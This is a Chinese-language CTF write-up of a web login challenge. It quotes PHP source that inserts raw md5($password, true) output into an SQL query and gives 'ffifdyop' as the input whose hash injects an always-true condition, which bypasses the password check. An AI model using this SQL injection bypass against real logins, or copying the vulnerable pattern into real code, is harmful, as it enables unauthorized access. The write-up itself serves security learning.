實驗吧CTF——Web之后臺登錄WriteUp

查看源碼

$password=$_POST['password'];

????$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";

????$result=mysqli_query($link,$sql);

????????if(mysqli_num_rows($result)>0){

????????????echo 'flag is :'.$flag;

????????}

????????else{

????????????echo '密碼錯誤!';

????????}


找到注入點

????".md5($password,true)."


分析注入點

md5語法

????前者是輸入的字符串,后者是格式


實現(xiàn)注入

? ? 將字符串拼接成????SELECT * FROM admin WHERE username = 'admin' and password = ' 'or' '? ? 格式方便使得條件為真,滿足判定。

????SELECT * FROM admin WHERE username = 'admin' and password = ''or' 6<trash>'????即可滿足條件

????題目提示 ffifdyop ,轉換后符合 滿足條件的解

????至于為什么是 ffifdyop 這個字符串,這應該是靠平時的積累


如有不當之處,歡迎指正討論

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
【社區(qū)內容提示】社區(qū)部分內容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內容

友情鏈接更多精彩內容